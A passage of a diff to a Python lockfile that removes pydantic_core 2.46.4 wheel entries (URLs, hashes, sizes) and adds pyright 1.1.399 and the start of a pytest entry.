- { url = "https://files.pythonhosted.org/packages/ce/8c/af022f0af448d7747c5154288d46b5f2bc5f17366eaa0e23e9aa04d59f3b/pydantic_core-2.46.4-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:3245406455a5d98187ec35530fd772b1d799b26667980872c8d4614991e2c4a2", size = 2106158, upload-time = "2026-05-06T13:38:57.215Z" },
- { url = "https://files.pythonhosted.org/packages/19/95/6195171e385007300f0f5574592e467c568becce2d937a0b6804f218bc49/pydantic_core-2.46.4-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:962ccbab7b642487b1d8b7df90ef677e03134cf1fd8880bf698649b22a69371f", size = 1951724, upload-time = "2026-05-06T13:37:02.697Z" },
- { url = "https://files.pythonhosted.org/packages/8e/bc/f47d1ff9cbb1620e1b5b697eef06010035735f07820180e74178226b27b3/pydantic_core-2.46.4-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8233f2947cf85404441fd7e0085f53b10c93e0ee78611099b5c7237e36aacbf7", size = 1975742, upload-time = "2026-05-06T13:37:09.448Z" },
- { url = "https://files.pythonhosted.org/packages/5b/11/9b9a5b0306345664a2da6410877af6e8082481b5884b3ddd78d47c6013ce/pydantic_core-2.46.4-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:3a233125ac121aa3ffba9a2b59edfc4a985a76092dc8279586ab4b71390875e7", size = 2052418, upload-time = "2026-05-06T13:37:38.234Z" },
- { url = "https://files.pythonhosted.org/packages/f1/b7/a65fec226f5d78fc39f4a13c4cc0c768c22b113438f60c14adc9d2865038/pydantic_core-2.46.4-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5b712b53160b79a5850310b912a5ef8e57e56947c8ad690c227f5c9d7e561712", size = 2232274, upload-time = "2026-05-06T13:38:27.753Z" },
- { url = "https://files.pythonhosted.org/packages/68/f0/92039db98b907ef49269a8271f67db9cb78ae2fc68062ef7e4e77adb5f61/pydantic_core-2.46.4-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9401557acd873c3a7f3eb9383edef8ac4968f9510e340f4808d427e75667e7b4", size = 2309940, upload-time = "2026-05-06T13:38:05.353Z" },
- { url = "https://files.pythonhosted.org/packages/5f/97/2aab507d3d00ca626e8e57c1eac6a79e4e5fbcc63eb99733ff55d1717f65/pydantic_core-2.46.4-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:926c9541b14b12b1681dca8a0b75feb510b06c6341b70a8e500c2fdcff837cce", size = 2094516, upload-time = "2026-05-06T13:39:10.577Z" },
- { url = "https://files.pythonhosted.org/packages/22/37/a8aca44d40d737dde2bc05b3c6c07dff0de07ce6f82e9f3167aeaf4d5dea/pydantic_core-2.46.4-cp312-cp312-manylinux_2_31_riscv64.whl", hash = "sha256:56cb4851bcaf3d117eddcef4fe66afd750a50274b0da8e22be256d10e5611987", size = 2136854, upload-time = "2026-05-06T13:40:22.59Z" },
- { url = "https://files.pythonhosted.org/packages/24/99/fcef1b79238c06a8cbec70819ac722ba76e02bc8ada9b0fd66eba40da01b/pydantic_core-2.46.4-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:c68fcd102d71ea85c5b2dfac3f4f8476eff42a9e078fd5faefff6d145063536b", size = 2180306, upload-time = "2026-05-06T13:40:10.666Z" },
- { url = "https://files.pythonhosted.org/packages/ae/6c/fc44000918855b42779d007ae63b0532794739027b2f417321cddbc44f6a/pydantic_core-2.46.4-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:b2f69dec1725e79a012d920df1707de5caf7ed5e08f3be4435e25803efc47458", size = 2190044, upload-time = "2026-05-06T13:40:43.231Z" },
- { url = "https://files.pythonhosted.org/packages/6b/65/d9cadc9f1920d7a127ad2edba16c1db7916e59719285cd6c94600b0080ba/pydantic_core-2.46.4-cp312-cp312-musllinux_1_1_armv7l.whl", hash = "sha256:8d0820e8192167f80d88d64038e609c31452eeca865b4e1d9950a27a4609b00b", size = 2329133, upload-time = "2026-05-06T13:39:57.365Z" },
- { url = "https://files.pythonhosted.org/packages/d0/cf/c873d91679f3a30bcf5e7ac280ce5573483e72295307685120d0d5ad3416/pydantic_core-2.46.4-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:fbdb89b3e1c94a30cc5edfce477c6e6a5dc4d8f84665b455c27582f211a1c72c", size = 2374464, upload-time = "2026-05-06T13:38:06.976Z" },
- { url = "https://files.pythonhosted.org/packages/47/bd/6f2fc8188f31bf10590f1e98e7b306336161fac930a8c514cd7bd828c7dc/pydantic_core-2.46.4-cp312-cp312-win32.whl", hash = "sha256:9aa768456404a8bf48a4406685ac2bec8e72b62c69313734fa3b73cf33b3a894", size = 1974823, upload-time = "2026-05-06T13:40:47.985Z" },
- { url = "https://files.pythonhosted.org/packages/40/8c/985c1d41ea1107c2534abd9870e4ed5c8e7669b5c308297835c001e7a1c4/pydantic_core-2.46.4-cp312-cp312-win_amd64.whl", hash = "sha256:e9c26f834c65f5752f3f06cb08cb86a913ceb7274d0db6e267808a708b46bc89", size = 2072919, upload-time = "2026-05-06T13:39:21.153Z" },
- { url = "https://files.pythonhosted.org/packages/c4/ba/f463d006e0c47373ca7ec5e1a261c59dc01ef4d62b2657af925fb0deee3a/pydantic_core-2.46.4-cp312-cp312-win_arm64.whl", hash = "sha256:4fc73cb559bdb54b1134a706a2802a4cddd27a0633f5abb7e53056268751ac6a", size = 2027604, upload-time = "2026-05-06T13:39:03.753Z" },
- { url = "https://files.pythonhosted.org/packages/51/a2/5d30b469c5267a17b39dec53208222f76a8d351dfac4af661888c5aee77d/pydantic_core-2.46.4-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:5d5902252db0d3cedf8d4a1bc68f70eeb430f7e4c7104c8c476753519b423008", size = 2106306, upload-time = "2026-05-06T13:37:48.029Z" },
- { url = "https://files.pythonhosted.org/packages/c1/81/4fa520eaffa8bd7d1525e644cd6d39e7d60b1592bc5b516693c7340b50f1/pydantic_core-2.46.4-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:c94f0688e7b8d0a67abf40e57a7eaaecd17cc9586706a31b76c031f63df052b4", size = 1951906, upload-time = "2026-05-06T13:37:17.012Z" },
- { url = "https://files.pythonhosted.org/packages/03/d5/fd02da45b659668b05923b17ba3a0100a0a3d5541e3bd8fcc4ecb711309e/pydantic_core-2.46.4-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f027324c56cd5406ca49c124b0db10e56c69064fec039acc571c29020cc87c76", size = 1976802, upload-time = "2026-05-06T13:37:35.113Z" },
- { url = "https://files.pythonhosted.org/packages/21/f2/95727e1368be3d3ed485eaab7adbd7dda408f33f7a36e8b48e0144002b91/pydantic_core-2.46.4-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:e739fee756ba1010f8bcccb534252e85a35fe45ae92c295a06059ce58b74ccd3", size = 2052446, upload-time = "2026-05-06T13:37:12.313Z" },
- { url = "https://files.pythonhosted.org/packages/9c/86/5d99feea3f77c7234b8718075b23db11532773c1a0dbd9b9490215dc2eeb/pydantic_core-2.46.4-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:9d56801be94b86a9da183e5f3766e6310752b99ff647e38b09a9500d88e46e76", size = 2232757, upload-time = "2026-05-06T13:39:01.149Z" },
- { url = "https://files.pythonhosted.org/packages/d2/3a/508ac615935ef7588cf6d9e9b91309fdc2da751af865e02a9098de88258c/pydantic_core-2.46.4-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2412e734dcb48da14d4e4006b82b46b74f2518b8a26ee7e58c6844a6cd6d03c4", size = 2309275, upload-time = "2026-05-06T13:37:41.406Z" },
- { url = "https://files.pythonhosted.org/packages/07/f8/41db9de19d7987d6b04715a02b3b40aea467000275d9d758ffaa31af7d50/pydantic_core-2.46.4-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9551187363ffc0de2a00b2e47c25aeaeb1020b69b668762966df15fc5659dd5a", size = 2094467, upload-time = "2026-05-06T13:39:18.847Z" },
- { url = "https://files.pythonhosted.org/packages/2c/e2/f35033184cb11d0052daf4416e8e10a502ea2ac006fc4f459aee872727d1/pydantic_core-2.46.4-cp313-cp313-manylinux_2_31_riscv64.whl", hash = "sha256:0186750b482eefa11d7f435892b09c5c606193ef3375bcf94aa00ae6bfb66262", size = 2134417, upload-time = "2026-05-06T13:40:17.944Z" },
- { url = "https://files.pythonhosted.org/packages/7e/7b/6ceeb1cc90e193862f444ebe373d8fdf613f0a82572dde03fb10734c6c71/pydantic_core-2.46.4-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:5855698a4856556d86e8e6cd8434bc3ac0314ee8e12089ae0e143f64c6256e4e", size = 2179782, upload-time = "2026-05-06T13:40:32.618Z" },
- { url = "https://files.pythonhosted.org/packages/5a/f2/c8d7773ede6af08036423a00ae0ceffce266c3c52a096c435d68c896083f/pydantic_core-2.46.4-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:cbaf13819775b7f769bf4a1f066cb6df7a28d4480081a589828ef190226881cd", size = 2188782, upload-time = "2026-05-06T13:36:51.018Z" },
- { url = "https://files.pythonhosted.org/packages/59/31/0c864784e31f09f05cdd87606f08923b9c9e7f6e51dd27f20f62f975ce9f/pydantic_core-2.46.4-cp313-cp313-musllinux_1_1_armv7l.whl", hash = "sha256:633147d34cf4550417f12e2b1a0383973bdf5cdfde212cb09e9a581cf10820be", size = 2328334, upload-time = "2026-05-06T13:40:37.764Z" },
- { url = "https://files.pythonhosted.org/packages/c2/eb/4f6c8a41efa30baa755590f4141abf3a8c370fab610915733e74134a7270/pydantic_core-2.46.4-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:82cf5301172168103724d49a1444d3378cb20cdee30b116a1bd6031236298a5d", size = 2372986, upload-time = "2026-05-06T13:39:34.152Z" },
- { url = "https://files.pythonhosted.org/packages/5b/24/b375a480d53113860c299764bfe9f349a3dc9108b3adc0d7f0d786492ebf/pydantic_core-2.46.4-cp313-cp313-win32.whl", hash = "sha256:9fa8ae11da9e2b3126c6426f147e0fba88d96d65921799bb30c6abd1cb2c97fb", size = 1973693, upload-time = "2026-05-06T13:37:55.072Z" },
- { url = "https://files.pythonhosted.org/packages/7e/e8/cff247591966f2d22ec8c003cd7587e27b7ba7b81ab2fb888e3ab75dc285/pydantic_core-2.46.4-cp313-cp313-win_amd64.whl", hash = "sha256:6b3ace8194b0e5204818c92802dcdca7fc6d88aabbb799d7c795540d9cd6d292", size = 2071819, upload-time = "2026-05-06T13:38:49.139Z" },
- { url = "https://files.pythonhosted.org/packages/c6/1a/f4aee670d5670e9e148e0c82c7db98d780be566c6e6a97ee8035528ca0b3/pydantic_core-2.46.4-cp313-cp313-win_arm64.whl", hash = "sha256:184c081504d17f1c1066e430e117142b2c77d9448a97f7b65c6ac9fd9aee238d", size = 2027411, upload-time = "2026-05-06T13:40:45.796Z" },
- { url = "https://files.pythonhosted.org/packages/8d/74/228a26ddad29c6672b805d9fd78e8d251cd04004fa7eed0e622096cd0250/pydantic_core-2.46.4-cp314-cp314-macosx_10_12_x86_64.whl", hash = "sha256:428e04521a40150c85216fc8b85e8d39fece235a9cf5e383761238c7fa9b96fb", size = 2102079, upload-time = "2026-05-06T13:38:41.019Z" },
- { url = "https://files.pythonhosted.org/packages/ad/1f/8970b150a4b4365623ae00fc88603491f763c627311ae8031e3111356d6e/pydantic_core-2.46.4-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:23ace664830ee0bfe014a0c7bc248b1f7f25ed7ad103852c317624a1083af462", size = 1952179, upload-time = "2026-05-06T13:36:59.812Z" },
- { url = "https://files.pythonhosted.org/packages/95/30/5211a831ae054928054b2f79731661087a2bc5c01e825c672b3a4a8f1b3e/pydantic_core-2.46.4-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ce5c1d2a8b27468f433ca974829c44060b8097eedc39933e3c206a90ee49c4a9", size = 1978926, upload-time = "2026-05-06T13:37:39.933Z" },
- { url = "https://files.pythonhosted.org/packages/57/e9/689668733b1eb67adeef047db3c2e8788fcf65a7fd9c9e2b46b7744fe245/pydantic_core-2.46.4-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:7283d57845ecf5a163403eb0702dfc220cc4fbdd18919cb5ccea4f95ee1cdab4", size = 2046785, upload-time = "2026-05-06T13:38:01.995Z" },
- { url = "https://files.pythonhosted.org/packages/60/d9/6715260422ff50a2109878fd24d948a6c3446bb2664f34ee78cd972b3acd/pydantic_core-2.46.4-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:8daafc69c93ee8a0204506a3b6b30f586ef54028f52aeeeb5c4cfc5184fd5914", size = 2228733, upload-time = "2026-05-06T13:40:50.371Z" },
- { url = "https://files.pythonhosted.org/packages/18/ae/fdb2f64316afca925640f8e70bb1a564b0ec2721c1389e25b8eb4bf9a299/pydantic_core-2.46.4-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:cd2213145bcc2ba85884d0ac63d222fece9209678f77b9b4d76f054c561adb28", size = 2307534, upload-time = "2026-05-06T13:37:21.531Z" },
- { url = "https://files.pythonhosted.org/packages/89/1d/8eff589b45bb8190a9d12c49cfad0f176a5cbd1534908a6b5125e2886239/pydantic_core-2.46.4-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7a5f930472650a82629163023e630d160863fce524c616f4e5186e5de9d9a49b", size = 2099732, upload-time = "2026-05-06T13:39:31.942Z" },
- { url = "https://files.pythonhosted.org/packages/06/d5/ee5a3366637fee41dee51a1fc91562dcf12ddbc68fda34e6b253da2324bb/pydantic_core-2.46.4-cp314-cp314-manylinux_2_31_riscv64.whl", hash = "sha256:c1b3f518abeca3aa13c712fd202306e145abf59a18b094a6bafb2d2bbf59192c", size = 2129627, upload-time = "2026-05-06T13:37:25.033Z" },
- { url = "https://files.pythonhosted.org/packages/94/33/2414be571d2c6a6c4d08be21f9292b6d3fdb08949a97b6dfe985017821db/pydantic_core-2.46.4-cp314-cp314-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:1a7dd0b3ee80d90150e3495a3a13ac34dbcbfd4f012996a6a1d8900e91b5c0fb", size = 2179141, upload-time = "2026-05-06T13:37:14.046Z" },
- { url = "https://files.pythonhosted.org/packages/7b/79/7daa95be995be0eecc4cf75064cb33f9bbbfe3fe0158caf2f0d4a996a5c7/pydantic_core-2.46.4-cp314-cp314-musllinux_1_1_aarch64.whl", hash = "sha256:3fb702cd90b0446a3a1c5e470bfa0dd23c0233b676a9099ddcc964fa6ca13898", size = 2184325, upload-time = "2026-05-06T13:36:53.615Z" },
- { url = "https://files.pythonhosted.org/packages/9f/cb/d0a382f5c0de8a222dc61c65348e0ce831b1f68e0a018450d31c2cace3a5/pydantic_core-2.46.4-cp314-cp314-musllinux_1_1_armv7l.whl", hash = "sha256:b8458003118a712e66286df6a707db01c52c0f52f7db8e4a38f0da1d3b94fc4e", size = 2323990, upload-time = "2026-05-06T13:40:29.971Z" },
- { url = "https://files.pythonhosted.org/packages/05/db/d9ba624cc4a5aced1598e88c04fdbd8310c8a69b9d38b9a3d39ce3a61ed7/pydantic_core-2.46.4-cp314-cp314-musllinux_1_1_x86_64.whl", hash = "sha256:372429a130e469c9cd698925ce5fc50940b7a1336b0d82038e63d5bbc4edc519", size = 2369978, upload-time = "2026-05-06T13:37:23.027Z" },
- { url = "https://files.pythonhosted.org/packages/f2/20/d15df15ba918c423461905802bfd2981c3af0bfa0e40d05e13edbfa48bc3/pydantic_core-2.46.4-cp314-cp314-win32.whl", hash = "sha256:85bb3611ff1802f3ee7fdd7dbff26b56f343fb432d57a4728fdd49b6ef35e2f4", size = 1966354, upload-time = "2026-05-06T13:38:03.499Z" },
- { url = "https://files.pythonhosted.org/packages/fc/b6/6b8de4c0a7d7ab3004c439c80c5c1e0a3e8d78bbae19379b01960383d9e5/pydantic_core-2.46.4-cp314-cp314-win_amd64.whl", hash = "sha256:811ff8e9c313ab425368bcbb36e5c4ebd7108c2bbf4e4089cfbb0b01eff63fac", size = 2072238, upload-time = "2026-05-06T13:39:40.807Z" },
- { url = "https://files.pythonhosted.org/packages/32/36/51eb763beec1f4cf59b1db243a7dcc39cbb41230f050a09b9d69faaf0a48/pydantic_core-2.46.4-cp314-cp314-win_arm64.whl", hash = "sha256:bfec22eab3c8cc2ceec0248aec886624116dc079afa027ecc8ad4a7e62010f8a", size = 2018251, upload-time = "2026-05-06T13:37:26.72Z" },
- { url = "https://files.pythonhosted.org/packages/e8/91/855af51d625b23aa987116a19e231d2aaef9c4a415273ddc189b79a45fee/pydantic_core-2.46.4-cp314-cp314t-macosx_10_12_x86_64.whl", hash = "sha256:af8244b2bef6aaad6d92cda81372de7f8c8d36c9f0c3ea36e827c60e7d9467a0", size = 2099593, upload-time = "2026-05-06T13:39:47.682Z" },
- { url = "https://files.pythonhosted.org/packages/fb/1b/8784a54c65edb5f49f0a14d6977cf1b209bba85a4c77445b255c2de58ab3/pydantic_core-2.46.4-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:5a4330cdbc57162e4b3aa303f588ba752257694c9c9be3e7ebb11b4aca659b5d", size = 1935226, upload-time = "2026-05-06T13:40:40.428Z" },
- { url = "https://files.pythonhosted.org/packages/e8/e7/1955d28d1afc56dd4b3ad7cc0cf39df1b9852964cf16e5d13912756d6d6b/pydantic_core-2.46.4-cp314-cp314t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:29c61fc04a3d840155ff08e475a04809278972fe6aef51e2720554e96367e34b", size = 1974605, upload-time = "2026-05-06T13:37:32.029Z" },
- { url = "https://files.pythonhosted.org/packages/93/e2/3fedbf0ba7a22850e6e9fd78117f1c0f10f950182344d8a6c535d468fdd8/pydantic_core-2.46.4-cp314-cp314t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:c50f2528cf200c5eed56faf3f4e22fcd5f38c157a8b78576e6ba3168ec35f000", size = 2030777, upload-time = "2026-05-06T13:38:55.239Z" },
- { url = "https://files.pythonhosted.org/packages/f8/61/46be275fcaaba0b4f5b9669dd852267ce1ff616592dccf7a7845588df091/pydantic_core-2.46.4-cp314-cp314t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:0cbe8b01f948de4286c74cdd6c667aceb38f5c1e26f0693b3983d9d74887c65e", size = 2236641, upload-time = "2026-05-06T13:37:08.096Z" },
- { url = "https://files.pythonhosted.org/packages/60/db/12e93e46a8bac9988be3c016860f83293daea8c716c029c9ace279036f2f/pydantic_core-2.46.4-cp314-cp314t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:617d7e2ca7dcb8c5cf6bcb8c59b8832c94b36196bbf1cbd1bfb56ed341905edd", size = 2286404, upload-time = "2026-05-06T13:40:20.221Z" },
- { url = "https://files.pythonhosted.org/packages/e2/4a/4d8b19008f38d31c53b8219cfedc2e3d5de5fe99d90076b7e767de29274f/pydantic_core-2.46.4-cp314-cp314t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7027560ee92211647d0d34e3f7cd6f50da56399d26a9c8ad0da286d3869a53f3", size = 2109219, upload-time = "2026-05-06T13:38:12.153Z" },
- { url = "https://files.pythonhosted.org/packages/88/70/3cbc40978fefb7bb09c6708d40d4ad1a5d70fd7213c3d17f971de868ec1f/pydantic_core-2.46.4-cp314-cp314t-manylinux_2_31_riscv64.whl", hash = "sha256:f99626688942fb746e545232e7726926f3be91b5975f8b55327665fafda991c7", size = 2110594, upload-time = "2026-05-06T13:40:02.971Z" },
- { url = "https://files.pythonhosted.org/packages/9d/20/b8d36736216e29491125531685b2f9e61aa5b4b2599893f8268551da3338/pydantic_core-2.46.4-cp314-cp314t-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:fc3e9034a63de20e15e8ade85358bc6efc614008cab72898b4b4952bea0509ff", size = 2159542, upload-time = "2026-05-06T13:39:27.506Z" },
- { url = "https://files.pythonhosted.org/packages/1d/a2/367df868eb584dacf6bf82a389272406d7178e301c4ac82545ab98bc2dd9/pydantic_core-2.46.4-cp314-cp314t-musllinux_1_1_aarch64.whl", hash = "sha256:97e7cf2be5c77b7d1a9713a05605d49460d02c6078d38d8bef3cbe323c548424", size = 2168146, upload-time = "2026-05-06T13:38:31.93Z" },
- { url = "https://files.pythonhosted.org/packages/c1/b8/4460f77f7e201893f649a29ab355dddd3beee8a97bcb1a320db414f9a06e/pydantic_core-2.46.4-cp314-cp314t-musllinux_1_1_armv7l.whl", hash = "sha256:3bf92c5d0e00fefaab325a4d27828fe6b6e2a21848686b5b60d2d9eeb09d76c6", size = 2306309, upload-time = "2026-05-06T13:37:44.717Z" },
- { url = "https://files.pythonhosted.org/packages/64/c4/be2639293acd87dc8ddbcec41a73cee9b2ebf996fe6d892a1a74e88ad3f7/pydantic_core-2.46.4-cp314-cp314t-musllinux_1_1_x86_64.whl", hash = "sha256:3ecbc122d18468d06ca279dc26a8c2e2d5acb10943bb35e36ae92096dc3b5565", size = 2369736, upload-time = "2026-05-06T13:37:05.645Z" },
- { url = "https://files.pythonhosted.org/packages/30/a6/9f9f380dbb301f67023bf8f707aaa75daadf84f7152d95c410fd7e81d994/pydantic_core-2.46.4-cp314-cp314t-win32.whl", hash = "sha256:e846ae7835bf0703ae43f534ab79a867146dadd59dc9ca5c8b53d5c8f7c9ef02", size = 1955575, upload-time = "2026-05-06T13:38:51.116Z" },
- { url = "https://files.pythonhosted.org/packages/40/1f/f1eb9eb350e795d1af8586289746f5c5677d16043040d63710e22abc43c9/pydantic_core-2.46.4-cp314-cp314t-win_amd64.whl", hash = "sha256:2108ba5c1c1eca18030634489dc544844144ee36357f2f9f780b93e7ddbb44b5", size = 2051624, upload-time = "2026-05-06T13:38:21.672Z" },
- { url = "https://files.pythonhosted.org/packages/f6/d2/42dd53d0a85c27606f316d3aa5d2869c4e8470a5ed6dec30e4a1abe19192/pydantic_core-2.46.4-cp314-cp314t-win_arm64.whl", hash = "sha256:4fcbe087dbc2068af7eda3aa87634eba216dbda64d1ae73c8684b621d33f6596", size = 2017325, upload-time = "2026-05-06T13:40:52.723Z" },
- { url = "https://files.pythonhosted.org/packages/ee/a4/73995fd4ebbb46ba0ee51e6fa049b8f02c40daebb762208feda8a6b7894d/pydantic_core-2.46.4-graalpy311-graalpy242_311_native-macosx_10_12_x86_64.whl", hash = "sha256:14d4edf427bdcf950a8a02d7cb44a08614388dd6e1bdcbf4f67504fa7887da9c", size = 2111589, upload-time = "2026-05-06T13:37:10.817Z" },
- { url = "https://files.pythonhosted.org/packages/fb/7f/f37d3a5e8bfcc2e403f5c57a730f2d815693fb42119e8ea48b3789335af1/pydantic_core-2.46.4-graalpy311-graalpy242_311_native-macosx_11_0_arm64.whl", hash = "sha256:0ce40cd7b21210e99342afafbd4d0f76d784eb5b1d60f3bdc566be4983c6c73b", size = 1944552, upload-time = "2026-05-06T13:36:56.717Z" },
- { url = "https://files.pythonhosted.org/packages/15/3c/d7eb777b3ff43e8433a4efb39a17aa8fd98a4ee8561a24a67ef5db07b2d6/pydantic_core-2.46.4-graalpy311-graalpy242_311_native-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:90884113d8b48f760e9587002789ddd741e76ab9f89518cd1e43b1f1a52ec44b", size = 1982984, upload-time = "2026-05-06T13:39:06.207Z" },
- { url = "https://files.pythonhosted.org/packages/63/87/70b9f40170a81afd55ca26c9b2acb25c20d64bcfbf888fafecb3ba077d4c/pydantic_core-2.46.4-graalpy311-graalpy242_311_native-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:66ce7632c22d837c95301830e111ad0128a32b8207533b60896a96c4915192ea", size = 2138417, upload-time = "2026-05-06T13:39:45.476Z" },
- { url = "https://files.pythonhosted.org/packages/9d/1d/8987ad40f65ae1432753072f214fb5c74fe47ffbd0698bb9cbbb585664f8/pydantic_core-2.46.4-graalpy312-graalpy250_312_native-macosx_10_12_x86_64.whl", hash = "sha256:1d8ba486450b14f3b1d63bc521d410ec7565e52f887b9fb671791886436a42f7", size = 2095527, upload-time = "2026-05-06T13:39:52.283Z" },
- { url = "https://files.pythonhosted.org/packages/64/d3/84c282a7eee1d3ac4c0377546ef5a1ea436ce26840d9ac3b7ed54a377507/pydantic_core-2.46.4-graalpy312-graalpy250_312_native-macosx_11_0_arm64.whl", hash = "sha256:3009f12e4e90b7f88b4f9adb1b0c4a3d58fe7820f3238c190047209d148026df", size = 1936024, upload-time = "2026-05-06T13:40:15.671Z" },
- { url = "https://files.pythonhosted.org/packages/d7/ca/eac61596cdeb4d7e174d3dc0bd8a6238f14f75f97a24e7b7db4c7e7340a0/pydantic_core-2.46.4-graalpy312-graalpy250_312_native-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ad785e92e6dc634c21555edc8bd6b64957ab844541bcb96a1366c202951ae526", size = 1990696, upload-time = "2026-05-06T13:38:34.717Z" },
- { url = "https://files.pythonhosted.org/packages/fa/c3/7c8b240552251faf6b3a957db200fcfbbcec36763c050428b601e0c9b83b/pydantic_core-2.46.4-graalpy312-graalpy250_312_native-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:00c603d540afdd6b80eb39f078f33ebd46211f02f33e34a32d9f053bba711de0", size = 2147590, upload-time = "2026-05-06T13:39:29.883Z" },
- { url = "https://files.pythonhosted.org/packages/11/cb/428de0385b6c8d44b716feba566abfacfbd23ee3c4439faa789a1456242f/pydantic_core-2.46.4-pp311-pypy311_pp73-macosx_10_12_x86_64.whl", hash = "sha256:0c563b08bca408dc7f65f700633d8442fffb2421fc47b8101377e9fd65051ff0", size = 2112782, upload-time = "2026-05-06T13:37:04.016Z" },
- { url = "https://files.pythonhosted.org/packages/0b/b5/6a17bdadd0fc1f170adfd05a20d37c832f52b117b4d9131da1f41bb097ce/pydantic_core-2.46.4-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:db06ffe51636ffe9ca531fe9023dd64bdd794be8754cb5df57c5498ae5b518a7", size = 1952146, upload-time = "2026-05-06T13:39:43.092Z" },
- { url = "https://files.pythonhosted.org/packages/2a/dc/03734d80e362cd43ef65428e9de77c730ce7f2f11c60d2b1e1b39f0fbf99/pydantic_core-2.46.4-pp311-pypy311_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:133878133d271ade3d41d1bfb2a45ec38dbdbda40bc065921c6b04e4630127e2", size = 2134492, upload-time = "2026-05-06T13:36:58.124Z" },
- { url = "https://files.pythonhosted.org/packages/de/df/5e5ffc085ed07cc22d298134d3d911c63e91f6a0eb91fe646750a3209910/pydantic_core-2.46.4-pp311-pypy311_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:9bc519fbf2b7578398853d815009ae5e4d4603d12f4e3f91da8c06852d3da3e9", size = 2156604, upload-time = "2026-05-06T13:37:49.88Z" },
- { url = "https://files.pythonhosted.org/packages/81/44/6e112a4253e56f5705467cbab7ab5e91ee7398ba3d56d358635958893d3e/pydantic_core-2.46.4-pp311-pypy311_pp73-musllinux_1_1_aarch64.whl", hash = "sha256:c7a7bd4e39e8e4c12c39cd480356842b6a8a06e41b23a55a5e3e191718838ddf", size = 2183828, upload-time = "2026-05-06T13:37:43.053Z" },
- { url = "https://files.pythonhosted.org/packages/ac/ad/5565071e937d8e752842ac241463944c9eb14c87e2d269f2658a5bd05e98/pydantic_core-2.46.4-pp311-pypy311_pp73-musllinux_1_1_armv7l.whl", hash = "sha256:d396ec2b979760aaf3218e76c24e65bd0aca24983298653b3a9d7a45f9e47b30", size = 2310000, upload-time = "2026-05-06T13:37:56.694Z" },
- { url = "https://files.pythonhosted.org/packages/4f/c3/66883a5cec183e7fba4d024b4cbbe61851a63750ef606b0afecc46d1f2bf/pydantic_core-2.46.4-pp311-pypy311_pp73-musllinux_1_1_x86_64.whl", hash = "sha256:86e1a4418c6cd97d60c95c71164158eaf7324fae7b0923264016baa993eba6fc", size = 2361286, upload-time = "2026-05-06T13:40:05.667Z" },
- { url = "https://files.pythonhosted.org/packages/4b/2d/69abac8f838090bbecd5df894befb2c2619e7996a98ddb949db9f3b93225/pydantic_core-2.46.4-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:d51026d73fcfd93610abc7b27789c26b313920fcfb20e27462d74a7f8b06e983", size = 2193071, upload-time = "2026-05-06T13:38:08.682Z" },
+sdist = { url = "https://files.pythonhosted.org/packages/db/9d/d91d5f6d26b2db95476fefc772e2b9a16d54c6bd0ea6bb5c1b6d635ab8b4/pyright-1.1.399.tar.gz", hash = "sha256:439035d707a36c3d1b443aec980bc37053fbda88158eded24b8eedcf1c7b7a1b", size = 3856954, upload-time = "2025-04-10T04:40:25.703Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/2f/b5/380380c9e7a534cb1783c70c3e8ac6d1193c599650a55838d0557586796e/pyright-1.1.399-py3-none-any.whl", hash = "sha256:55f9a875ddf23c9698f24208c764465ffdfd38be6265f7faf9a176e1dc549f3b", size = 5592584, upload-time = "2025-04-10T04:40:23.502Z" },
+]
+
+[[package]]
+name = "pytest"
+version = "8.4.2"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
